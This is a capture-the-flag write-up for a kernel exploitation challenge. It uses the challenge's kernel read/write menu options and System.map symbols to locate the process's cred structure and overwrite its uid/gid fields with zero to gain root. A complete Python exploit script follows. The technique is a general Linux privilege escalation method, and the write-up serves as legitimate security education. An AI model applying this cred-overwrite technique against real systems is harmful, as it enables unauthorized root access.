Last year you may have taken your first steps in kernel exploitation. It was not that hard, after all.
This year we will take the second baby step. 🙂
nc babykernel2.forfuture.fluxfingers.net 1337
Playing around
On each connection to the server, we see a kernel boot sequence printout ( we found the kernel version in it).
The output of the kernel bootup, makes it clear that a proprietary driver was installed in the kernel.
Following the boot sequence we get prompted with the following menu:
----- Menu ----- 1. Read 2. Write 3. Show me my uid 4. Read file 5. Any hintz? 6. Bye!
Let’s have a look to what we have for the menu 🙂
Trying to get a hint from 5
option : `…The flag file is not readable by your current user
You will need to become root to solve the challenge…`
Trying 4
option to read /flag
is obviously not working : Could not open file for reading...
Option 3
returns our uid
and gid
:
uid=1000(user) gid=1000(user) groups=1000(user)
As for options 1
(Read) and 2
(Write), they seem to be where things are getting serious. We will get back to them later.
Looks like we will need to read the kernel to find our uid
and write a new uid
, root uid
Examining the files
The kernel driver installed was found.
System.map is provided!
the System.map file is a symbol table used by the kernel.
let’s start,
What do read and write do?
in System.map we found linux_banner
which points to the Linux version string.
'ffffffff81600120 R linux_banner'
We tried to read this address and we got the Linux version string –> Absolute kernel read primitive
We tried to write to this address and re-read it, write works –> Absolute kernel write primitive
So,
We want to change our user id from the current value 1000 to 0 (root), using our read and write primitives.
The uid and gid are stored in the cred struct in the task_struct struct
in System.map we found current_task
which points to the task_struct struct
'ffffffff8183a040 D current_task'
Now, we want to find the pointer to the cred struct in the task_struct struct
it is just before the comm
field.
from /include/linux/sched.h
/* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; /* * executable name, excluding path. * * - normally initialized setup_new_exec() * - access it with [gs]et_task_comm() * - lock it with task_lock() */ char comm[TASK_COMM_LEN];
The comm field is plain text contain our program name, with the read function we read the task_struct and found it at offset 0x408 contain: “client_kernel_b”
Next, we override the uid and gid in the cred struct, we actually have several ids in cred struct in cred.h we override them all (uid, gid, suid, sgid, euid, egid, fsuid, fsgid) with 0 (root id)
from /include/linux/cred.h
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */
afterwards we just read the flag from /flag
the flag was : flag{nicely_done_this_is_how_a_privesc_can_also_go}
Our solution:
#!/usr/bin/env python3 import pexpect import re import struct p = pexpect.spawn('nc babykernel2.forfuture.fluxfingers.net 1337') def read_value(addr): p.expect('Bye!') p.sendline('1') p.expect ('wisely') p.sendline('%x' % addr) p.expect('Menu') data = str(p.before) m = re.search('level is: ([0-9a-f]+)', data) if m: return int(m.group(1),16) print("_-----ERROR ----\n"); return None def write_value(addr, value): p.expect('Bye!') p.sendline('2') p.expect('write to') p.sendline('%x' % addr) p.expect('value?') p.sendline('%x' % value) p.expect('again') def read_file(): p.expect('Bye!') p.sendline('4') p.expect('read?') p.sendline('/flag') print (p.before) p.expect('Menu') print (p.before) task_struct = read_value(0xffffffff8183a040) cred = read_value(task_struct + 0x400) #f = open("task_struct","wb") #for i in range(0x0, 0x450, 8): # value = read_value(task_struct + i) # print ("%x, %x" % (i, value)) # b = struct.pack("<Q", value) # f.write(b) #f.close() write_value(cred+4,0) write_value(cred+12,0) write_value(cred+20,0) write_value(cred+28,0) read_file()